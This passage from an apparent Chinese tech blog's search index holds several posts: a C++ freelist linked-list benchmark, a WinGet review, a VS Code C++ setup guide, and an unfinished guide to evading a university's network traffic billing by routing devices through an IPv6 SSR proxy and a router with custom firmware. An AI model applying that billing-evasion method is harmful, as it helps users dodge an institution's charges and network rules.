l.append(rand()); } stage3 = clock(); double dur1, dur2; dur1 = (stage2 - stage1) \\* 1.0 / CLOCKS\\_PER\\_SEC; dur2 = (stage3 - stage2) \\* 1.0 / CLOCKS\\_PER\\_SEC; printf(\u0026#34;Append \u0026amp; Clear Consumption:%lf\\\\nRe-append Consumption:%lf\\\\n\u0026#34;, dur1, dur2); printf(\u0026#34;=============FREELIST============\\\\n\u0026#34;); Freelist\u0026lt;int\u0026gt; f; srand(time(NULL)); stage1 = clock(); for (int i = 0; i \u0026lt; 10000000; i++) { f.append(0); } while (!f.empty()) { f.moveToStart(); f.remove(); } stage2 = clock(); for (int i = 0; i \u0026lt; 10000000; i++) { f.append(rand()); } stage3 = clock(); dur1 = (stage2 - stage1) \\* 1.0 / CLOCKS\\_PER\\_SEC; dur2 = (stage3 - stage2) \\* 1.0 / CLOCKS\\_PER\\_SEC; printf(\u0026#34;Append \u0026amp; Clear Consumption:%lf\\\\nRe-append Consumption:%lf\\\\n\u0026#34;, dur1, dur2); } 这篇文章到这里似乎就结束了？并没有，你看到滚动条就会发现不对劲。结果很尴尬，这样的可利用空间表，比普通的链表还要慢上不少…… 这次甚至还是最快的结果。\n就这样把这个问题搁了好几天，我突然想到了原因。在将元素推进可利用空间表的时候，STL \u0026lt;stack\u0026gt; 需要再new一个Link指针，指向原来的空间；推出的时候，也需要类似于delete的操作——这样，不仅没有省下new和delete的时间，反而徒增了赋值的时间代价。虽然我也不明白，为什么会慢这么多……\n下面我画了2张图，以删除节点为例，来描述我的前后两种理解。\n我还意识到，闲置的结点，实际上是可以自行重新连接成链的，只需要维护一个栈顶指针即可。这样就不需要再new空间了。\n少废话，上代码。\ncpp 复制代码 //freelist.h #include \u0026#34;list\\_adt.h\u0026#34; #include \u0026lt;stack\u0026gt; using namespace std; #ifndef LINK #define LINK template \u0026lt;typename E\u0026gt; class Link //node 的实现 { public: E element; Link \\*next; Link(const E \u0026amp;elemval, Link \\*nextval = NULL) { element = elemval; next = nextval; } Link(Link \\*nextval = NULL) { next = nextval; } }; #endif #ifndef FREELIST\\_H #define FREELIST\\_H template \u0026lt;typename E\u0026gt; class Freelist : public List\u0026lt;E\u0026gt; { private: Link\u0026lt;E\u0026gt; \\*freelist = nullptr; // 可利用空间表的栈顶指针 Link\u0026lt;E\u0026gt; \\*head; // 头指针 Link\u0026lt;E\u0026gt; \\*tail; // 尾指针 Link\u0026lt;E\u0026gt; \\*curr; // 当前位置的前驱节点 int cnt; Link\u0026lt;E\u0026gt; \\*getNewElem() // 获取一个新元素的地址 { if (freelist == nullptr) // 空的 { return new Link\u0026lt;E\u0026gt;; } else { Link\u0026lt;E\u0026gt; \\*temp = freelist; freelist = freelist-\u0026gt;next; return temp; } } void abandonElem(Link\u0026lt;E\u0026gt; \\*tgt)// 将一个元素移至可利用空间表中 { tgt-\u0026gt;next = freelist; freelist = tgt; } void init() // 初始化链表，只有一个 head 元素 { curr = tail = head = getNewElem(); cnt = 0; } void removeall() // 清空链表 { while (head != NULL) { curr = head; head = head-\u0026gt;next; abandonElem(curr); } } public: Freelist(int size = 65536) { init(); } ~Freelist() { removeall(); Link\u0026lt;E\u0026gt; \\*temp; while (freelist != nullptr) // 程序结束的时候析构，要把没有利用的结点也全都释放掉 { temp = freelist; freelist = freelist-\u0026gt;next; delete temp; } } void clear() // 清空链表并初始化 { removeall(); init(); } bool empty() { if (head == tail) { return true; } else { return false; } } void insert(const E \u0026amp;it) // 插入元素 { curr-\u0026gt;next = getNewElem(); curr-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; if (tail == curr) { tail = curr-\u0026gt;next; } cnt\u0026#43;\u0026#43;; } void append(const E \u0026amp;it) // 在最后添加元素 { tail-\u0026gt;next = getNewElem(); tail-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; tail = tail-\u0026gt;next; cnt\u0026#43;\u0026#43;; } E remove() // 删除当前位置的元素 { E it = curr-\u0026gt;next-\u0026gt;element; Link\u0026lt;E\u0026gt; \\*ltemp = curr-\u0026gt;next; if (tail == curr-\u0026gt;next) { tail = curr; } curr-\u0026gt;next = curr-\u0026gt;next-\u0026gt;next; abandonElem(ltemp); cnt--; return it; } void moveToStart() // 移至头部 { curr = head; } void moveToEnd() // 移至尾部 { curr = tail; prev(); //curr 最后必须是 tail 的前驱才行 } void prev() // 左移一位 { if (curr == head) { return; } Link\u0026lt;E\u0026gt; \\*temp = head; while (temp-\u0026gt;next != curr) { temp = temp-\u0026gt;next; } curr = temp; } void next() // 右移一位 { if (curr != tail) { curr = curr-\u0026gt;next; } } int length() const // 返回长度 { return cnt; } int currPos() const // 返回当前位置 { Link\u0026lt;E\u0026gt; \\*temp = head; int i = 1; for (i = 0; curr != temp; i\u0026#43;\u0026#43;) { temp = temp-\u0026gt;next; } return i; } void moveToPos(int pos) // 移动至指定位置 { //Assert((pos\u0026gt;=0)\u0026amp;\u0026amp;(pos\u0026lt;=cnt),\u0026#34;Position Out of Range\u0026#34;); curr = head; for (int i = 0; i \u0026lt; pos; i\u0026#43;\u0026#43;) { curr = curr-\u0026gt;next; } } const E \u0026amp;getValue() const // 返回当前位置的值 { //Assert(curr-\u0026gt;next!=NULL,\u0026#34;No Value\u0026#34;); return curr-\u0026gt;next-\u0026gt;element; } }; #endif 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 //freelist.h #include \u0026#34;list\\_adt.h\u0026#34; #include \u0026lt;stack\u0026gt; using namespace std; #ifndef LINK #define LINK template \u0026lt;typename E\u0026gt; class Link //node 的实现 { public: E element; Link \\*next; Link(const E \u0026amp;elemval, Link \\*nextval = NULL) { element = elemval; next = nextval; } Link(Link \\*nextval = NULL) { next = nextval; } }; #endif #ifndef FREELIST\\_H #define FREELIST\\_H template \u0026lt;typename E\u0026gt; class Freelist : public List\u0026lt;E\u0026gt; { private: Link\u0026lt;E\u0026gt; \\*freelist = nullptr; // 可利用空间表的栈顶指针 Link\u0026lt;E\u0026gt; \\*head; // 头指针 Link\u0026lt;E\u0026gt; \\*tail; // 尾指针 Link\u0026lt;E\u0026gt; \\*curr; // 当前位置的前驱节点 int cnt; Link\u0026lt;E\u0026gt; \\*getNewElem() // 获取一个新元素的地址 { if (freelist == nullptr) // 空的 { return new Link\u0026lt;E\u0026gt;; } else { Link\u0026lt;E\u0026gt; \\*temp = freelist; freelist = freelist-\u0026gt;next; return temp; } } void abandonElem(Link\u0026lt;E\u0026gt; \\*tgt)// 将一个元素移至可利用空间表中 { tgt-\u0026gt;next = freelist; freelist = tgt; } void init() // 初始化链表，只有一个 head 元素 { curr = tail = head = getNewElem(); cnt = 0; } void removeall() // 清空链表 { while (head != NULL) { curr = head; head = head-\u0026gt;next; abandonElem(curr); } } public: Freelist(int size = 65536) { init(); } ~Freelist() { removeall(); Link\u0026lt;E\u0026gt; \\*temp; while (freelist != nullptr) // 程序结束的时候析构，要把没有利用的结点也全都释放掉 { temp = freelist; freelist = freelist-\u0026gt;next; delete temp; } } void clear() // 清空链表并初始化 { removeall(); init(); } bool empty() { if (head == tail) { return true; } else { return false; } } void insert(const E \u0026amp;it) // 插入元素 { curr-\u0026gt;next = getNewElem(); curr-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; if (tail == curr) { tail = curr-\u0026gt;next; } cnt++; } void append(const E \u0026amp;it) // 在最后添加元素 { tail-\u0026gt;next = getNewElem(); tail-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; tail = tail-\u0026gt;next; cnt++; } E remove() // 删除当前位置的元素 { E it = curr-\u0026gt;next-\u0026gt;element; Link\u0026lt;E\u0026gt; \\*ltemp = curr-\u0026gt;next; if (tail == curr-\u0026gt;next) { tail = curr; } curr-\u0026gt;next = curr-\u0026gt;next-\u0026gt;next; abandonElem(ltemp); cnt--; return it; } void moveToStart() // 移至头部 { curr = head; } void moveToEnd() // 移至尾部 { curr = tail; prev(); //curr 最后必须是 tail 的前驱才行 } void prev() // 左移一位 { if (curr == head) { return; } Link\u0026lt;E\u0026gt; \\*temp = head; while (temp-\u0026gt;next != curr) { temp = temp-\u0026gt;next; } curr = temp; } void next() // 右移一位 { if (curr != tail) { curr = curr-\u0026gt;next; } } int length() const // 返回长度 { return cnt; } int currPos() const // 返回当前位置 { Link\u0026lt;E\u0026gt; \\*temp = head; int i = 1; for (i = 0; curr != temp; i++) { temp = temp-\u0026gt;next; } return i; } void moveToPos(int pos) // 移动至指定位置 { //Assert((pos\u0026gt;=0)\u0026amp;\u0026amp;(pos\u0026lt;=cnt),\u0026#34;Position Out of Range\u0026#34;); curr = head; for (int i = 0; i \u0026lt; pos; i++) { curr = curr-\u0026gt;next; } } const E \u0026amp;getValue() const // 返回当前位置的值 { //Assert(curr-\u0026gt;next!=NULL,\u0026#34;No Value\u0026#34;); return curr-\u0026gt;next-\u0026gt;element; } }; #endif 时间很喜人。在Windows下，时间对比如图，可以看到可利用空间表用时大幅度领先：\n而在Linux（Ubuntu 20.04.2，WSL2）下，优势都小了一些，但是重新添加元素过程的优势仍然十分明显。\n","date":"March 12, 2021","matchCount":0,"permalink":"/post/freelist/","preview":"","title":"可利用空间表（freelist）"},{"content":"各家操作系统都有自己的包管理器，能够使用统一的软件源为电脑获取应用。比如Debian的apt，macOS的Homebrew。Windows一直缺少一个广泛使用、功能完备的包管理器，Chocolatey和NuGet也并不是非常完善。终于微软发布了WinGet包管理器，也算是对开发社区更加友好的重要举措。\n申请WinGet内测 在写这篇文章的时候，WinGet目前还处于公共预览版阶段，所以需要从 Windows 程序包管理器预览体验计划 链接的问卷中填入你的微软账号邮箱。申请通过后会给你发一封邮件，然后你就可以在Microsoft Store中等待包管理器的更新了。但现在WinGet已经公测，也已经随Windows推送。\n如果你不想使用Microsoft Store，你也可以在 GitHub Releases 下载单独的安装包，或者加入Windows Insider，直接体验测试版的Windows。\nWinGet基本操作 WinGet兼容命令提示符，当然也兼容PowerShell。我使用PowerShell 7.1.1 + Windows Terminal来运行。\n以下是winget命令的操作。\n那就来实地操作一下，比如安装个TIM？\n输入\npowershell 复制代码 winget install TIM 1 winget install TIM 来安装TIM。winget会从腾讯的服务器下载最新的安装包，然后静默安装。\n小彩蛋：命令后面加 \u0026ndash;rainbow参数，进度条会变成彩虹色~\n下载完成后会请求管理员权限，没啥问题，毕竟Linux装个软件还得输sudo不是。\n后面的过程基本是静默安装，只弹出了一个 “TIM正在运行，是否关闭TIM” 的对话框。也没有任何的捆绑插件，十分纯净。\n我又测试了安装华为浏览器，也是静默安装的。这里出现了一个问题：应用名 “Huawei Browser” 有空格，不能被正确识别。\n但是可以使用包名代替：\n这样就可以正常安装了。\n值得注意的是，这个软件似乎是用户投放的，不属于官方。这个人好像还传了许多奇奇怪怪的软件……\n关于软件源 Microsoft的初衷是建设一个对开发者更友好的包管理器，但正如你所见，对于一般人来说，WinGet似乎也挺合适。正如上面的测试，TIM这种日常软件也被包含在软件源中。而且绝佳的地方是它没有捆绑，可以免于安装整个全家桶的困扰。\n可以使用winget search命令来搜索软件包。比如搜索xiaomi，出现了MIUI + 客户端。\n当然，微软自家的应用当然不能落下（虽然不都是微软的应用）：\n搜索Microsoft得到的结果（部分）\n也有其他家的开发工具：\nSublime Text\nClang LLVM\nJava运行时\n如果你想打会游戏，甚至还有……\nSteam\n软件包管理器的默认软件源架设在Azure上，但软件源的代码GitHub上。如果你发现缺少你的应用，可以在 这里 提交Pull Request。也有很多爱好者自行上传的应用。未来也可能会出现第三方软件源。\nwinget.run 是更加友好的软件包查找器，似乎与PyPI有点相似？\n一些缺陷 某些软件会出现安装失败的现象。比如上文提到的MIUI+，CLI中提示安装失败：\n不光安装失败，还把我之前装的那个版本也整坏了……\n而且目前对一些我们可能认为理所当然的东西支持还不稳定，甚至…… 卸载。它被划为了实验性功能。\n参考文献 [1] 使用 winget 工具管理和安装应用程序 | Microsoft Docs\n","date":"March 7, 2021","matchCount":0,"permalink":"/post/winget-the-windows-package-manager/","preview":"","title":"Windows 的包管理程序，WinGet 简单体验"},{"content":"本文写的内容已经过时。现在（2023年6月），建议选择的编译器是 llvm-mingw，并使用Clangd插件获取C/C++ 支持。mingw-w64较老，不建议使用。\n时至今日，许多大学所使用的C++ IDE还是Dev-C++ 和VC++6.0等十分落后的软件，故作此文，以帮助各位使用更加方便易用的C++ 开发环境。\n为什么要用vscode？ Visual Studio Code是微软出品的一个编辑器，界面美观、打开文件流畅。同时，它具有大量的插件，而大量的插件使它有极高的可扩展性，可用于几乎任何语言的开发，还可以打游戏、听音乐、看PDF。\n作为微软的产品，当家功能IntelliSense必不可少。在你写代码时，它可以自动为你补全函数名、括号、变量名等字段，再也不用因太长的变量名敲起来麻烦而烦躁了。\n同时，它还与WSL（Linux Windows子系统）高度兼容，在Windows环境内编程，在Linux环境下编译与调试。也可以通过SSH直连你的服务器，借用服务器的资源与性能。\n另外，vscode是开源项目，这意味着你甚至可以将它移植，做一个自己的版本出来。\n安装vscode 我使用的环境是一个虚拟机，8个AMD Zen 2线程、6.5G RAM、外置机械硬盘、Windows 10 x64 20H2 19042.508。理论上只有系统版本会影响一些步骤，但是20H2或者21H1版本所使用的步骤应该基本类似。\n先在 官方网站 上点击 “Download for Windows” 按钮下载vscode安装包。\n下载安装包之后安装，建议将如下图的 “添加到PATH” 选中。\nvscode本体就安装完成了。\n安装编译器 vscode毕竟只是个编辑器，说白了就是个高级的记事本，想要调试，必须配合插件和编译器。这里讲述如何安装编译器。\nGCC/G++ 编译器是Linux平台上非常流行的C/C++ 编译器，但它与Windows不兼容，于是有人用它的源代码构建了各种Windows变种，功能同样丰富。\n我这里使用mingw-w64，8.1.0版本，以与微软官方教程达到最大匹配。你也可以选择TDM-GCC，基于G++ 9.2，版本更新，但是请自行对照下面的部分修改你的安装路径。\n在 SourceForge 下载MinGW-W64-install.exe。也可以下载x86_64-posix-seh包，然后手动按照下面所提到的安装路径解压。\n下载之后打开，然后按照下图选择版本。\n然后点击Next，程序会自动下载在线安装包。在某些网络环境下，下载可能很慢，所以建议留出充足的时间，或者挂VPN下载。\n安装完成之后，打开PowerShell或者CMD，输入g++ -v并回车，检查是否正确显示了G++ 的版本。\n（PS：推荐安装 新版 PowerShell 和Windows Terminal，更美观，使用起来更有效率。当然，不装也没什么坏处）\n如果出现下图中的情况，则还需要配置环境变量。\n如果你的输出类似于下面那样，COLLECT_GCC的路径和gcc version也完全相同，那么可以直接跳过下一步。如果那两项不太一样，也请看下一步。\n配置环境变量 先讲原理。如果我们要调用G++，按理说应该在PowerShell或者CMD中输入完整路径并运行。这样的输出是正确的。（注意语句后面有一个 - v，不太明显）\n但每次打命令都需要输命令，那也太麻烦了。而Windows的PATH环境变量能够解决这个问题。加入PATH的目录中的程序使用时，可以将前面的目录省去，直接使用文件名。在调用时，会自动检索PATH文件夹，找到符合这个名字的文件夹并调用。将编译器加入环境变量后，就可以看到上一步最后的效果。\n打开Windows设置 - 系统 - 关于 - 高级系统设置，点击 “环境变量”。\n在弹出窗口中选择PATH。如果你选择 “用户变量“中的PATH，则这个编译器快捷方式只对你一个人有效；否则，就对整个电脑有效。然后点击” 新建“，粘贴g++.exe所在的路径（如果你上面全程按照我的方法安装，则填入C:\\Program Files\\mingw-w64\\x86_64-8.1.0-posix-seh-rt_v6-rev0\\mingw64\\bin）。全都点击确定，如下图。\n如果你之前安装过其他版本G++（包括Dev-C++ 可能附带的），环境变量中出现了那个路径，而又不知道后面该怎么修改，建议将刚刚添加的上移到原有的那一个上方。\n再输入g++ -v回车，查看效果。\n安装插件 vscode的灵魂就是丰富的插件。刚安装完的vscode是类似于这样的：\n对于C++ 编程，我建议下载下面的插件：\nC/C++ Chinese (Simpified) Language Pack for Visual Studio Code Better C++ Syntax C/C++ Themes CMake CMake Tools C++ IntelliSense 非必需：\nRainbow Brackets GitLens - Git supercharged（当你有Git时，没有的话不必要） Remote - WSL 安装完成后重启vscode。\n配置JSON首选项 在vscode左边的资源管理器中打开一个文件夹，右下角会提示下载一些文件，可以等一下。\n打开后的文件夹形成了一个工作区。在里面再新建一个名为. vscode的文件夹。然后在文件夹里新建launch.json和tasks.json两个文件。\n在tasks.json中粘贴这段代码：\njson 复制代码 { \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;shell\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;C/C\u0026#43;\u0026#43;: g\u0026#43;\u0026#43;.exe build active file\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;C:\\\\Program Files\\\\mingw-w64\\\\x86_64-8.1.0-posix-seh-rt_v6-rev0\\\\mingw64\\\\bin\\\\g\u0026#43;\u0026#43;.exe\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;-g\u0026#34;, \u0026#34;${file}\u0026#34;,\u0026#34;-o\u0026#34;,\u0026#34;${fileDirname}\\\\${fileBasenameNoExtension}.exe\u0026#34;], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;${workspaceFolder}\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [\u0026#34;$gcc\u0026#34;], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true } } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;shell\u0026#34;, \u0026#34;label\u0026#34;: \u0026#34;C/C++: g++.exe build active file\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;C:\\\\Program Files\\\\mingw-w64\\\\x86_64-8.1.0-posix-seh-rt_v6-rev0\\\\mingw64\\\\bin\\\\g++.exe\u0026#34;, \u0026#34;args\u0026#34;: [\u0026#34;-g\u0026#34;, \u0026#34;${file}\u0026#34;,\u0026#34;-o\u0026#34;,\u0026#34;${fileDirname}\\\\${fileBasenameNoExtension}.exe\u0026#34;], \u0026#34;options\u0026#34;: { \u0026#34;cwd\u0026#34;: \u0026#34;${workspaceFolder}\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: [\u0026#34;$gcc\u0026#34;], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true } } ] } 在launch.json中粘贴这段代码：\njson 复制代码 { \u0026#34;version\u0026#34;: \u0026#34;0.2.0\u0026#34;, \u0026#34;configurations\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;g\u0026#43;\u0026#43;.exe - Build and debug active file\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;cppdbg\u0026#34;, \u0026#34;request\u0026#34;: \u0026#34;launch\u0026#34;, \u0026#34;program\u0026#34;: \u0026#34;${fileDirname}\\\\${fileBasenameNoExtension}.exe\u0026#34;, \u0026#34;args\u0026#34;: [], \u0026#34;stopAtEntry\u0026#34;: false, \u0026#34;cwd\u0026#34;: \u0026#34;${workspaceFolder}\u0026#34;, \u0026#34;environment\u0026#34;: [], \u0026#34;externalConsole\u0026#34;: false, \u0026#34;MIMode\u0026#34;: \u0026#34;gdb\u0026#34;, \u0026#34;miDebuggerPath\u0026#34;: \u0026#34;C:\\\\Program Files\\\\mingw-w64\\\\x86_64-8.1.0-posix-seh-rt_v6-rev0\\\\mingw64\\\\bin\\\\gdb.exe\u0026#34;, \u0026#34;setupCommands\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Enable pretty-printing for gdb\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;-enable-pretty-printing\u0026#34;, \u0026#34;ignoreFailures\u0026#34;: true } ], \u0026#34;preLaunchTask\u0026#34;: \u0026#34;C/C\u0026#43;\u0026#43;: g\u0026#43;\u0026#43;.exe build active file\u0026#34; } ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { \u0026#34;version\u0026#34;: \u0026#34;0.2.0\u0026#34;, \u0026#34;configurations\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;g++.exe - Build and debug active file\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;cppdbg\u0026#34;, \u0026#34;request\u0026#34;: \u0026#34;launch\u0026#34;, \u0026#34;program\u0026#34;: \u0026#34;${fileDirname}\\\\${fileBasenameNoExtension}.exe\u0026#34;, \u0026#34;args\u0026#34;: [], \u0026#34;stopAtEntry\u0026#34;: false, \u0026#34;cwd\u0026#34;: \u0026#34;${workspaceFolder}\u0026#34;, \u0026#34;environment\u0026#34;: [], \u0026#34;externalConsole\u0026#34;: false, \u0026#34;MIMode\u0026#34;: \u0026#34;gdb\u0026#34;, \u0026#34;miDebuggerPath\u0026#34;: \u0026#34;C:\\\\Program Files\\\\mingw-w64\\\\x86_64-8.1.0-posix-seh-rt_v6-rev0\\\\mingw64\\\\bin\\\\gdb.exe\u0026#34;, \u0026#34;setupCommands\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Enable pretty-printing for gdb\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;-enable-pretty-printing\u0026#34;, \u0026#34;ignoreFailures\u0026#34;: true } ], \u0026#34;preLaunchTask\u0026#34;: \u0026#34;C/C++: g++.exe build active file\u0026#34; } ] } 然后保存。”.vscode“文件夹保存的是vscode的配置文件，程序不需要存放在这个目录里。\nvscode使用初步 之后，新建一个test.cpp，随便写点啥。如果一切正常的话，这个时候自动补全功能就该生效了。当光标右下方出现自动补全栏的时候，上下方向键选择候选项，按tab自动补全。可以补全的内容包括但不限于函数名、变量名、语句、include文件。\n如果发现代码可能有问题，vscode会自动检测出来，然后显示在底部 “问题” 栏中。\n按下F5，开始调试，这和其他的IDE没什么不同。不过，每次启动vscode之后，第一次调试时，底栏都会自动跳到”调试控制台 “，那是输入GDB命令的地方，如果不需要的话就得手动切换到” 终端“栏。\nvscode的调试输入输出都会放在内置终端中，实际上就是调用了系统的CMD或者PowerShell（也可以自定义终端）。如果你在那里看到了你所期望的输出，那说明你成功了。Enjoy!\n参考文献 Get Started with C++ and Mingw-w64 in Visual Studio Code ","date":"February 28, 2021","image":"/post/vscode-cpp-windows//vscode-themephoto.png","matchCount":0,"permalink":"/post/vscode-cpp-windows/","preview":"","title":"在 Windows 上用 vscode 进行 C++ 开发"},{"content":"谨以此文章献给饱受校园网流量不足之苦的同学们。本实录中的步骤仅在HNU校园网环境尝试过复现，其他学校不保证可以使用。同时，理论上也不是每一步都是必要的，仅仅表明这种方法可行。\n绕过校园网流量计费不代表可以不花钱上网。事实上，一台性能还凑合的路由器花了我200元，再加上服务器，每个月也要花费5美元，还有大量的隐性时间成本。一旦校园网开始真的限制40G，这篇文章的意义或许才显现出来；而为了绕过20G以上的收费，40G每个月对你够用的话，并没有必要去大费周章。\n建议有一定玩机基础与一点点网络基础的人仿照着做，或者在熟悉的朋友现场指导与帮助下实施。博主对可能造成的问题不负责任，请周知。\n由于本文写得实在过于杂乱，现阶段建议去阅读 HNU 校园网 IPv6 免流教程 2.0。\n一 2021年新年到了，学校的个人门户也换了一副新的模样。变的不止个人门户，而且还有流量监控页面。\n现在，新版的流量监控可以查看每日流量消耗，甚至上了哪家的网站都能显示出来。缴费页面也出现了前几个月的欠费信息（虽然不能缴费），让人不禁担心随时会开始计费。\n直到某日，某兄透露称，流量计费系统调试好了就会开始工作，我才开始考虑如何搞到更多的流量，毕竟20G每月免费、40G每月封顶，实在是很恶心人，要是天天和宋浩老师一起学习的话怎么受得了啊。\n运营商宽带固然是一个解决办法，但是价格太贵，带宽也并不高，还限制设备，所以它成了我的备选方案，而将重心放在绕开校园网的流量监测上。\n二 阅读一下校园网使用规则，可以很容易地发现IPv6是免流量的。那么我们的思路就确定了：将终端全部连接至IPv6的远程服务器，绕过IPv4，再由服务器代替我们访问外网，再把得到的数据传回来就可以了。虚拟专用网络等方式可以将所有流量加密，通过IPv6传输给远程服务器，这并不影响IPv4资源的访问。只是校内资源，比如抢课，需要把它关掉。\n中国大陆并没有适合的双栈（IPv6+IPv4）VPS提供商，再加上不能明说的原因，我选择了Vultr的西雅图服务器。5美元一个月的主机，可以提供一个IPv4、一个IPv6（需要自己勾选），配置也够用，1000G的流量近乎于无限。\n将SSR客户端配置好，把电脑连上之后，似乎没有什么问题。在之后的宋浩测试（指看了一天宋浩）之中，发现观看1080p哔哩哔哩视频没有任何压力，同时校园网一天只计了20M流量，可能是iPad偷跑的（手机关闭WiFi）。\n这个结果无疑是很令人惊喜的，但是之后我遇到了一些问题。\n三 电脑上的测试成功了，但是其他设备上的测试都遇到了些问题：连不上IPv6的SSR。\n后来发现，我的两台Android手机（小米10 Pro和运行Pixel Experience的小米5s）全都无法获取校园网IPv6地址，而iPad则更难搞——国区搞不到SSR客户端。\n我的流量需求，电脑当然占大头，但是手机和iPad需求量也很大。不看视频，手机一天能够使用300M左右；而iPad开启了GoodNotes的iCloud与OneDrive同步，一天下来最多可以消耗掉2-3G流量。当然，大部分是上行，这个问题不大。\n也请求舍友使用 https://test-ipv6.com 测试IPv6获取情况，发现有一位舍友的手机获取到了IPv6，而所有人都只有一台设备能获取。由此排除了DHCPv6不受Android设备支持的原因。\n四 为了让所有设备都能免流校园网，我在考虑使用一个路由（或者类似路由的东西），广播一个全局经过IPv6的网络。我考虑过用备用机当热点，手机接收校园网WiFi信号，全局开SSR，然后将这个隧道经由热点分享出去。手机功耗够低，不太引人注目，而且性能够强。但是缺点也很明显：不够稳定，设备一多就不太好。\n于是我买了一台小米AC2100路由器，通过有线连接学校网络。AC2100是小米路由器的口碑翻身之作，5GHz信号覆盖据说非常不错，也有大量的第三方固件，而第三方固件可以支持安装SSR等插件。同价位也有小米AC2350，性能更强，但是第三方固件少；而价位更低的红米AC2100（套娃机）和腾达AC9，则主要因为外观的原因没有被我选中。\n我选择使用Padavan（也被称为老毛子）固件 [1]。不得不说，万能的恩山无线论坛真是什么关于路由器的玩意都有……\n刷入固件之后，能够很明显地感觉到信号好了非常多，即使在厕所也不会断连了。（笑）而在桌前，甚至可以达到 -30dbm。\n五 我将路由器连入学校的网口，却发现网口并没有提供校园网拨号宽带，除非办理运营商的宽带业务。\n正当我一筹莫展之时，我发现了Padavan固件设置中有一个 “无线桥接”，可以接收其他WiFi信号并作为WAN，然后经过路由器再发射出去。\n将2.4GHz和5GHz全部设为桥接之后，连接SSR，就可以直接访问Google等外网了。但是即使能够设置全局通过IPv6的SSR访问网络，通过测速等一系列手段（IPv4限速约10Mbps，IPv6无限速），还是发现有一部分流量无法通过IPv6，而是通过校园网的v4访问的。\n也就是说，这个时候只能把它当作全局访问外网的一个工具。\n六 当我将电脑、手机、iPad接入路由器的时候，发现了同样的问题：电脑可以访问IPv6，而手机只有v4连接。兜兜转转，又回到了最开始的情况。\n排查一下情况，发现在使用IPv4的SSR节点。当我切换到IPv6的SSR节点时，打开任何页面都遭到了Connection Reset。不得已只能切换回IPv4节点，而且电脑也无法访问国内网站。难道是GFW List的问题？或者，既然电脑是唯一一个能够访问IPv6的设备，会不会是v6和v4代理的问题……？\n七 打开路由器的外网状态页面，发现外网IPv6地址根本无法获取。一番搜索之后发现了借由 NAPT66 获取内网与外网IPv6的方法 [2]。它是一个由北邮大佬开发的在IPv6环境下使用NAT的工具。在高级设置 - 外部网络 - IPv6设置中，这样设置各选项。\n其中，DNSv6服务器可以自己选择，一些公共的DNSv6服务器可以在 这里 找到。\n注意 “获取IPv6外网地址” 一定要选“从两端”，否则不能获取到外网地址！[3]\n然后到高级设置 - 系统管理 - 服务，打开 “启用NAPT66” 然后重启路由器，应该就可以获取到IPv6地址了。\n这里可以用 test-ipv6.com 获取IPv6连接情况。如果你已经连上IPv6互联网，那么\n电脑当然也没有问题了。\n期间我的服务器IPv6地址突然ping不通了，然后等了半天多又好了，真的是玄学……\n八 剩下的当然就是在路由器开启全局SSR了。请注意：如果你使用SS或者V2ray，那么可能需要一些配置才能用IPv6连接；SSR则原生支持IPv6。\n导入SSR之后，记得手动切换成SSR协议，然后检查一下协议插件和混淆插件。Padavan的SSR设置似乎有点反人类。\n不过似乎连接之后，仍会产生IPv4下载流量，可以在 “系统管理” 的“控制台”中执行 iptables -P INPUT DROP 如下命令\n来禁用IPv4下载。或者你也可以在系统管理 - 